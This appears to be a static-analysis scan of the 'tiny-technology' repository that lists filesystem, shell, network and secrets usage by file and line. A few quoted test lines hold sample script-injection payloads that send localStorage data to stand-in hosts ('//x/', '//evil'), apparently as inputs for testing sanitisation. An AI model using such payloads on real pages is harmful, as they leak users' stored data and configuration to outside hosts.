  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-reconcile-status.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-tx-reservation.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-unknown-record.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-unknown-resolve.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-unknown.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-spend-reconcile.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-spend-resolve.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-spend-reverse-sent.test.ts :3 import { readFileSync } from 'node:fs'

shell / exec 37

  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :35 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashable-registry-e2e.mjs :629 // Each variant is a WHOLE REGISTRY with a different court (spawn(), above) —
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :41 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/authorization-proof-e2e.mjs :31 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :10 import { spawn, spawnSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/e2e.mjs :3 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :6 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/faucet-e2e.mjs :20 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/proxy-e2e.mjs :3 import { spawn } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/browse.ts :43 import { spawn, type ChildProcess } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/computer.ts :24 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/desktop.ts :32 import { execFileSync, execSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :24 import { execFileSync, execSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/flipper.ts :18 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :28 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/repl.ts :133 const { execSync } = await import('node:child_process')
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/see.ts :35 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/speech.ts :54 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :21 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/vision.ts :39 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/whatsapp.ts :23 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/windows.ts :39 import { execFileSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :16 import { spawn } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/daemon.ts :16 import { execFileSync, spawnSync } from 'node:child_process'
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :296 const { spawnSync } = await import('node:child_process')
  • shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/tui/App.tsx :188 const { execSync } = await import('node:child_process')
  • shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/live.e2e.mjs :13 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/server.test.mjs :9 import { spawn } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tasks.test.mjs :331 const { execFileSync } = await import('node:child_process')
  • shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :288 const { fork } = await import('node:child_process')
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-logo.mjs :24 import { execFileSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-composites.mjs :30 import { execFileSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-graphics.mjs :30 import { execFileSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/sync-store-screenshots.mjs :32 import { spawnSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-join.test.ts :4 import { execFileSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-joiner-script.test.ts :3 import { execFileSync } from 'node:child_process'
  • shell (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-sf-symbols.test.ts :4 import { execFileSync } from 'node:child_process'

network 163

  • net cagataycali-tiny-technology-6c93dc1/chain/facilitator/server.mjs :20 import { createServer } from 'node:http'
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/contract-mode-e2e.mjs :73 const res = await fetch(RPC, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/devnet-e2e.mjs :53 const res = await fetch(rpcUrl(n), {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :62 const res = await fetch(url, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/restore-liveness-margin.mjs :84 const res = await fetch(url, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :203 try { up = (await fetch(`${FAC}/healthz`)).ok } catch {}
  • net cagataycali-tiny-technology-6c93dc1/chain/rpc-proxy.mjs :22 import { createServer } from 'node:http'
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/authorization-proof-e2e.mjs :85 await waitFor(async () => (await fetch(RPC, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :40 const up = () => fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' }).then((r) => r.ok)
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup.mjs :37 const res = await fetch(RPC, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/e2e.mjs :25 const r = await fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' })
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :48 await waitFor(async () => (await fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' })).ok, 'anvil')
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/faucet-e2e.mjs :69 const r = await fetch(RPC, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/pay-e2e.mjs :25 fetch(url, {
  • net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/proxy-e2e.mjs :18 fetch(url, {
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :197 const res = await fetch(`https://api.telegram.org/bot${token}/${method}`, {
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :24 import { createServer } from 'node:http'
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/integrations-tool.ts :129 const who: any = await fetch(`https://api.telegram.org/bot${a.token}/getMe`)
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/model.ts :63 const res = await fetch(ollamaBaseUrl().replace(/\/v1$/, '') + '/api/tags', { signal: ctrl.signal })
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :118 const res = await fetch(TOKEN_URL, {
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/api.ts :61 const res = await fetch(`${this.baseUrl}${path}`, { headers: this.headers() })
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :13 import { createServer } from 'node:http'
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/cli.ts :220 const res = await fetch('https://api.spotify.com/v1/me/player/currently-playing', {
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/device.ts :176 const res = await fetch(`${base}/api/devices/heartbeat`, {
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :274 const who: any = await fetch(`https://api.telegram.org/bot${token}/getMe`)
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/mesh/relay-poller.ts :47 const res = await fetch(`${apiUrl}/api/devices/relay`, {
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :301 description: "Forge a personal JavaScript tool that persists in the user's tiny account and follows them everywhere (web chat, telegram, this MCP server). Code shape: a single arrow function `(args) =
  • net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/tray.ts :22 import { createServer, connect, type Server, type Socket } from 'node:net'
  • net (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/auth.test.mjs :61 assert.equal((await fetch(`${base}/nope`)).status, 404)
  • net (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :28 import { connect, createServer } from 'node:net'
  • net cagataycali-tiny-technology-6c93dc1/web/app/[slug]/loading.tsx :3 * resolves the `no-store` worker /get fetch (up to a 10s round-trip). This
  • net cagataycali-tiny-technology-6c93dc1/web/app/[slug]/page.tsx :278 fetch(`https://plugin.tiny.technology/pay/pricing?resource=${encodeURIComponent(`tiny:${slug}`)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/account-voice/route.ts :30 const data = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/archives/route.ts :54 return relayText(fetch(url, { headers: ikey(), ...T() }));
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/auth/route.ts :69 const tokenRes = await fetch('https://github.com/login/oauth/access_token', {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/chat/route.ts :73 const synced: any = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/chat/tool-result/route.ts :34 const res = await fetch(`${WORKER_URL}/device/tool-result`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/control/route.ts :56 const { response, loginRequired, error } = await fetch('https://plugin.tiny.technology/upsert', {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/delete/route.ts :27 res = await fetch('https://plugin.tiny.technology/tiny', {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/adopt/route.ts :43 const res = await fetch(`${WORKER_URL}/device/rotate-token`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/endpoint/route.ts :65 res = await fetch(`${WORKER_URL}/device/endpoint/call`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/event/route.ts :32 const res = await fetch(`${WORKER_URL}/device/event`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/heartbeat/route.ts :33 const res = await fetch(`${WORKER_URL}/device/heartbeat`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/relay/route.ts :36 return fetch(`${WORKER_URL}${path}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/route.ts :54 const { data, ok, status, transient } = await relay(fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/task-result/route.ts :33 const res = await fetch(`${WORKER_URL}/device/task-result`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/transcript/route.ts :36 const res = await fetch(`${WORKER_URL}/transcript`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/erc8004/registration/[slug]/route.ts :89 fetch(`${WORKER}/get?name=${encodeURIComponent(slug)}`, { signal: AbortSignal.timeout(10_000) }).then(r => r.ok ? r.json() : null).catch(() => null),
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/events/route.ts :32 // ActivityHUD's own /api/events fetch (no client timeout) spins on "Loading…"
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/follow/route.ts :26 const res = await fetch(`${WORKER}/follow`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/graph/route.ts :50 return relay(fetch(`${WORKER}/graph/social?${qs}`, { headers: ikey(), ...T() }), 'graph unavailable');
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/job-run/route.ts :74 fetch(`${WORKER}/get?name=${encodeURIComponent(tiny || 'tiny')}`
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/jobs/route.ts :33 fetch(`${WORKER}/jobs?userId=${encodeURIComponent(session.sub)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/learnings/route.ts :62 fetch(`${WORKER}/learnings?${qs}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/location/route.ts :46 fetch(`${WORKER_URL}/location/list`, { headers: internalHeaders(), cache: 'no-store', ...T() })
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/login/route.ts :37 const tiny = await fetch(`https://plugin.tiny.technology/get?${params}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/manifest/[slug]/route.ts :21 const tiny = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/media/route.ts :41 const res = await fetch(`${WORKER_URL}/media/upload`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/messages/route.ts :52 fetch(`${WORKER}/messages?${qs}`, { headers: headers(), signal: AbortSignal.timeout(10_000) }),
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/model-config/route.ts :33 const data = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/prefs/route.ts :32 const data = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/push/route.ts :17 const fromWorker = await fetch(`${WORKER}/push/key`, { signal: AbortSignal.timeout(10_000) })
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/share/route.ts :83 res = await fetch(`${WORKER}/share`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/telegram/route.ts :44 return relayText(fetch(`${WORKER}/telegram?userId=${encodeURIComponent(session.sub)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/tiny/route.ts :58 const tiny = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(name)}${keyQuery}${ownerQuery}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/install/route.ts :32 const profile = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/route.ts :36 const data = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/run/route.ts :48 const data = await fetch(`${WORKER_URL}/tools?userId=${encodeURIComponent(session.sub)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/trust/route.ts :34 const r = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/visit/route.ts :42 const res = await fetch(`${WORKER}/visit`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/voice/replay/[id]/route.ts :26 const res: any = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/voice/session/route.ts :40 const synced: any = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/voice/sessions/route.ts :18 const res: any = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/faucet/route.ts :136 const res = await fetch(`${WORKER_URL}/pay/faucet`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/route.ts :70 const data = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/withdraw/route.ts :145 const reqRes = await fetch(`${WORKER_URL}/pay/withdraw-request`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/worker/route.ts :10 const response = await fetch(url.toString(), {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/x402/chat/[slug]/route.ts :160 const r = await fetch(url, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/api/x402/pay/route.ts :58 // before the graceful path can run: re-probe (30s) → sign → paid fetch (90s) →
  • net cagataycali-tiny-technology-6c93dc1/web/app/auth/cli/page.tsx :47 fetch("/api/me", { signal: AbortSignal.timeout(deadlineFor("/api/me")) })
  • net cagataycali-tiny-technology-6c93dc1/web/app/calls/page.tsx :45 fetch("/api/voice/sessions", { signal: AbortSignal.timeout(deadlineFor("/api/voice/sessions")) })
  • net cagataycali-tiny-technology-6c93dc1/web/app/devices/page.tsx :182 const res = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/app/loading.tsx :3 * the `no-store` worker /get fetch (up to a 10s round-trip) + the install-QR
  • net cagataycali-tiny-technology-6c93dc1/web/app/og/[slug]/route.tsx :24 fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/sitemap.ts :24 const res = await fetch('https://plugin.tiny.technology/community?limit=100', {
  • net cagataycali-tiny-technology-6c93dc1/web/app/universe/loading.tsx :3 * `no-store` community fetch (up to a worker round-trip). Without this,
  • net cagataycali-tiny-technology-6c93dc1/web/app/universe/opengraph-image.tsx :100 const data = await fetch('https://plugin.tiny.technology/community?limit=100', {
  • net cagataycali-tiny-technology-6c93dc1/web/app/vcard/[slug]/route.tsx :19 const tiny = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/app/wallet/page.tsx :217 fetch("/api/me", { cache: "no-store", signal: AbortSignal.timeout(deadlineFor("/api/me")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/Community.tsx :18 const res = await fetch(`https://plugin.tiny.technology/community?limit=${COMMUNITY_PAGE}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/components/FollowButton.tsx :34 fetch(`/api/follow?login=${encodeURIComponent(login)}`, { signal: AbortSignal.timeout(deadlineFor("/api/follow")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/GlobalMapBackdrop.tsx :52 fetch('/api/location')
  • net cagataycali-tiny-technology-6c93dc1/web/components/MapView.tsx :58 fetch('/api/location')
  • net cagataycali-tiny-technology-6c93dc1/web/components/Profile.tsx :33 const res = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/components/ProfileToolCard.tsx :62 const res = await fetch("/api/tools/install", {
  • net cagataycali-tiny-technology-6c93dc1/web/components/ProfileTools.tsx :32 fetch("/api/me", { signal: AbortSignal.timeout(deadlineFor("/api/me")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/ActivityHUD.tsx :72 fetch("/api/events", { signal: AbortSignal.timeout(deadlineFor("/api/events")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/AuthButton.tsx :101 const options = await fetch("/api/auth/webauthn/login", {
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/Chat.tsx :280 fetch("https://plugin.tiny.technology/community?limit=1", { signal: AbortSignal.timeout(EXTERNAL_MS) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/CommandPalette.tsx :191 fetch("https://plugin.tiny.technology/list?limit=100", { signal: AbortSignal.timeout(10_000) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/Control.tsx :199 fetch("/api/wallet", {
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/JobsPanel.tsx :167 fetch("/api/jobs", { signal: AbortSignal.timeout(deadlineFor("/api/jobs")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/MemoryPanel.tsx :170 fetch(`/api/graph?all=1${history ? "&include_closed=1" : ""}`, { signal: AbortSignal.timeout(deadlineFor("/api/graph")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/MessagesHUD.tsx :99 fetch("/api/messages", { signal: AbortSignal.timeout(deadlineFor("/api/messages")) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/PayReceipt.tsx :150 const r = await fetch("/api/x402/pay", {
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/TelegramSettings.tsx :48 fetch("/api/telegram", { signal: AbortSignal.timeout(10_000) })
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/UniverseDrawer.tsx :82 fetch(`https://plugin.tiny.technology/community?limit=${COMMUNITY_PAGE}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/ambient.ts :196 const res = await fetch("/api/chat", {
  • net cagataycali-tiny-technology-6c93dc1/web/components/chat/platform.ts :65 const r = await fetch("/api/push", { signal: AbortSignal.timeout(deadlineFor("/api/push")) });
  • net cagataycali-tiny-technology-6c93dc1/web/lib/auth.ts :150 const res = await fetch(`${WORKER_URL}/user/upsert`, internalInit({
  • net cagataycali-tiny-technology-6c93dc1/web/lib/bedrock-edge.ts :4 * Talks directly to Bedrock's ConverseStream REST endpoint using fetch()
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chain/rpc.ts :25 const r = await fetch(info.rpc, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/model-config.ts :129 const res = await fetch("/api/account-voice");
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/model.ts :75 // Edge-safe Bedrock: direct fetch() to ConverseStream + bearer token.
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/slash-commands.ts :173 fetch('/api/tools/trust', {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/flipper.ts :202 const d = await fetch(`${WORKER}/device/list?userId=${encodeURIComponent(userId)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/memory.ts :45 return fetch(`${WORKER}/learnings`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/messages.ts :35 return fetch(`${WORKER}/message`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla-voice.ts :70 const d = await fetch(`${WORKER}/device/list?userId=${encodeURIComponent(userId)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla.ts :35 const d = await fetch(`${WORKER}/device/list?userId=${encodeURIComponent(userId)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/platform.ts :36 const res = await fetch(`${base}/api/run-tool`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/spawn.ts :95 fetch(`${WORKER}${path}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/universe.ts :17 return fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(input.name)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/chat/whoami.ts :58 const result: Promise<Me> = fetch("/api/me", { signal: AbortSignal.timeout(deadlineFor("/api/me")) })
  • net cagataycali-tiny-technology-6c93dc1/web/lib/deadlines.ts :4 * A `fetch()` with no signal can stay pending indefinitely (a hung worker, a
  • net cagataycali-tiny-technology-6c93dc1/web/lib/free-tier.ts :18 * outbound OpenAPI fetch (`/api/worker`). On those the window IS the
  • net cagataycali-tiny-technology-6c93dc1/web/lib/model-registry.ts :124 const res = await fetch(url, { headers: { Authorization: `Bearer ${apiKey}` }, signal: AbortSignal.timeout(MODELS_FETCH_TIMEOUT_MS) })
  • net cagataycali-tiny-technology-6c93dc1/web/lib/reputation.ts :22 const res = await fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/lib/theme.ts :133 fetch('/api/prefs', {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/tiny-record.ts :45 const res = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/user-tools.ts :93 * `fetch(u).constructor…`, `.then(r => r.constructor…)`, `.catch(e =>
  • net cagataycali-tiny-technology-6c93dc1/web/lib/utils.ts :17 return fetch(
  • net cagataycali-tiny-technology-6c93dc1/web/lib/voice/realtime.ts :89 const res = await fetch('/api/voice/session', {
  • net cagataycali-tiny-technology-6c93dc1/web/lib/webllm.ts :89 hfStatsPromise = fetch("https://huggingface.co/api/models?author=mlc-ai&limit=1000")
  • net cagataycali-tiny-technology-6c93dc1/web/lib/x402/top-up.ts :181 * - web — `faucetClaim()` is `fetch().then(r => r.json())`, so the rejection is
  • net cagataycali-tiny-technology-6c93dc1/web/lib/x402/wallet-client.ts :67 const r = await fetch('/api/wallet', {
  • net cagataycali-tiny-technology-6c93dc1/web/public/sw.js :48 caches.match(req).then((hit) => hit || fetch(req).then((res) => {
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-onboarding-voice.mjs :148 const res = await fetch(
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/account-voice-write.test.ts :202 const fetchAt = src.indexOf('fetch(`${WORKER_URL}/account-voice`')
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deadlines.test.ts :13 * v7 F1 — a `fetch()` with no signal can stay pending forever, and every button
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-camera-panel.test.ts :184 ...['fetch(', 'setFrameSrc('].map((s) => (eff.indexOf(s) < 0 ? Infinity : eff.indexOf(s))),
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-length-parity.test.ts :156 const send = route.indexOf('fetch(`${WORKER}/message`')
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-send.test.ts :156 const fetchAt = src.indexOf('fetch(`${WORKER}/message`', idx)
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-no-answer.test.ts :9 * - web — `faucetClaim()` is `fetch(…).then(r => r.json())`, so the rejection is
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/learnings-delete-scope.test.ts :233 const fetchAt = s.indexOf('fetch(`${WORKER}/learnings`', planned)
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/open-url.test.ts :45 'data:text/html,<script>fetch("//x/"+localStorage.length)</script>',
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/qr-svg.test.ts :48 '<svg><script>fetch("//x/"+localStorage.length)</script></svg>',
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/session-archive.test.ts :139 uiComponents: [{ id: 'u1', componentCode: 'fetch("//evil?"+localStorage.tiny_model_config)' }],
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/unlearn-scope.test.ts :135 const fetchAt = s.indexOf('fetch(`${WORKER}/learnings`', planned)
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :118 await expect(runUserTool('(args) => fetch("http://example.com")', {}))
  • net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-durability.test.ts :559 it('a thrown fetch (network error) is caught and reconciled, never propagated', async () => {
  • net cagataycali-tiny-technology-6c93dc1/web/tools/http.ts :110 let response = await fetch(targetUrl.toString(), {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/deposits.ts :610 const res = await fetch(rpcUrl(env, network), {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/devices.ts :500 res = await fetch(`${checked.url}${spec.path}`, {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/index.ts :237 async fetch(request: Request, env: any, ctx: any) {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/messages.ts :121 fetch(`https://api.telegram.org/bot${token}/${method}`, {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/oauth.ts :113 const res = await fetch(endpoint, {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/push.ts :246 const res = await fetch(row.endpoint, {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/scheduler.ts :200 const res = await fetch('https://tiny.technology/api/job-run', {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/telegram-api.ts :108 const res = await fetch(`https://api.telegram.org/bot${bot.token}/${m}`, {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/telegram.ts :37 fetch(`https://api.telegram.org/bot${token}/${method}`, {
  • net cagataycali-tiny-technology-6c93dc1/worker/src/tool-updates.ts :52 latest = String(await fetch(
  • net cagataycali-tiny-technology-6c93dc1/worker/src/voice.ts :32 // https, NOT wss: Workers' outbound-WebSocket idiom is fetch(https://…) with an

secrets 107

  • secrets cagataycali-tiny-technology-6c93dc1/chain/facilitator/server.mjs :34 const RELAYER_KEY = process.env.FACILITATOR_RELAYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/attendance-e2e.mjs :44 const DEPLOYER_KEY = process.env.TINY_MULTINODE_DEPLOYER_KEY
  • secrets (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/contract-mode-e2e.mjs :49 let JOINER_KEY = process.env.TINY_JOINER_KEY
